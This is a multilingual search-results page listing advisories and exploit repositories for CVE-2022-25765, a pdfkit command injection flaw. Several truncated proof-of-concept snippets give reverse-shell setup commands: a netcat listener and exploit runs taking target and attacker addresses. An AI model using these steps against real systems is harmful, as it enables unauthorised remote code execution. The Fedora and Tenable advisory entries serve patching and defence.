18 matches found
CVE-2022-25765
CVE-2022-25765 Эксплойт Небольшой PoC-эксплойт для CVE-2022-25765, PDFkit-CMD-Injection Использование 1. Запустите netcat-слушатель на вашей атакующей машине: root@kitploit: nc -lvnp 4444 2. Запустите эксплойт: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...
PDFkit-CMD-Injection
PDFkit-CMD-Injection تفاصيل CVE-2022-25765 الوصف حزمة pdfkit منذ الإصدار 0.0.0 معرضة لثغرة حقن الأوامر، حيث لا يتم تنقية عنوان URL بشكل صحيح. PoC ابدأ خادم HTTP root@kitploit: 1- python3 -m http.server 80 ابدأ مستمع netcat root@kitploit: 2- nc -lnvp 'Target Port' أرسل طلبًا root@kitploit: 3-...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 حقن أوامر. الحزمة pdfkit معرّضة لثغرة حقن الأوامر Command Injection حيث لا يتم تنقية عنوان URL بشكل صحيح. ملاحظة: تم إصلاح هذه المشكلة في الإصدار 0.8.7.2، ولكن تبيّن أن الإصلاح غير فعّال. إصدار الإصلاح المحدّث هو 0.8.7.2 إثبات المفهوم PoC ابدأ خادم...
PDFkit-CMD-Injection-CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 Exploit pour CVE-2022-25765 injection de commande dans pdfkit 0.8.6 Voir plus de détails sur la vulnérabilité ici PoC Exécutez netcat sur votre hôte : root@kitploit: $ nc -lvnp 1337 Exécutez l'exploit exemple : root@kitploit: $ ./CVE-2022-25765.py -t...
CVE-2022-25765
CVE-2022-25765 PoC لـ Blind RCE لـ CVE-2022-25765 تم اختباره في HTB - Precious Machine...
exploit-CVE-2022-25765
Эксплойт для CVE-2022-25765 pdfkit - Инъекция команд Нравится этот репозиторий? Поставьте нам ⭐! Только для образовательных целей и авторизованных исследований безопасности. Автор эксплойта @UNICORDev от @NicPWNs и @Dev-Yeoj Описание уязвимости Пакет pdfkit начиная с версии 0.0.0 уязвим к инъекци...
Exploit for CVE-2022-25765
CVE-2022-25765 — Command Injection in pdfkit Descripción...
Fedora 37 : rubygem-pdfkit (2022-c0d55cd527)
The remote Fedora 37 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2022-c0d55cd527 advisory. New version 0.8.7.2 is released. ---- New version 0.8.7.1 is released. ---- Update to 0.8.7. This new release fixes CVE-2022-25765. Tenable has extracted the...
pdfkit v0.8.7.2 - Command Injection
!/usr/bin/env python3 Exploit Title: pdfkit v0.8.7.2 - Command Injection Date: 02/23/2023 Exploit Author: UNICORD NicPWNs & Dev-Yeoj Vendor Homepage: https://pdfkit.org/ Software Link: https://github.com/pdfkit/pdfkit Version: 0.0.0-0.8.7.2 Tested on: pdfkit 0.8.6 CVE: CVE-2022–25765 Source:...
pdfkit 0.8.7.2 Command Injection
!/usr/bin/env python3 Exploit Title: pdfkit v0.8.7.2 - Command Injection Date: 02/23/2023 Exploit Author: UNICORD NicPWNs & Dev-Yeoj Vendor Homepage: https://pdfkit.org/ Software Link: https://github.com/pdfkit/pdfkit Version: 0.0.0-0.8.7.2 Tested on: pdfkit 0.8.6 CVE: CVE-2022–25765 Source:...
Exploit for CVE-2022-25765
Exploit for CVE-2022-25765 pdfkit - Command Injection !Git...
Exploit for CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 Exploit for CVE-2022-2...
Fedora 36 : rubygem-pdfkit (2022-3ec8272e72)
The remote Fedora 36 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2022-3ec8272e72 advisory. Update to 0.8.7. This new release fixes CVE-2022-25765. Tenable has extracted the preceding description block directly from the Fedora security advisory. Not...
Fedora 35 : rubygem-pdfkit (2022-6da143f1a2)
The remote Fedora 35 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2022-6da143f1a2 advisory. Update to 0.8.7. This new release fixes CVE-2022-25765. Tenable has extracted the preceding description block directly from the Fedora security advisory. Not...
CVE-2022-25765
creationtimestamp| type| source ---|---|--- 2022-12-04 21:05:25+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/3527 2022-12-06 04:04:20+00:00| published-proof-of-concept| https://t.me/crackcodes/1638 2022-12-06 06:38:55+00:00| published-proof-of-concept| https://t.me/simosaper/748...
Fedora: Security Advisory for rubygem-pdfkit (FEDORA-2022-c0d55cd527)
The remote host is missing an update for the Copyright C 2022 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...
CVE-2022-25765
CVE-2022-25765 affects pdfkit (Ruby gem) with command injection in which pdfkit passes the user-supplied URL straight to wkhtmltopdf, allowing shell interpretation via backticks. Exploitation details show RCE via crafted URLs (e.g., http://example.comcmd), with multiple public PoCs/exploits and a...
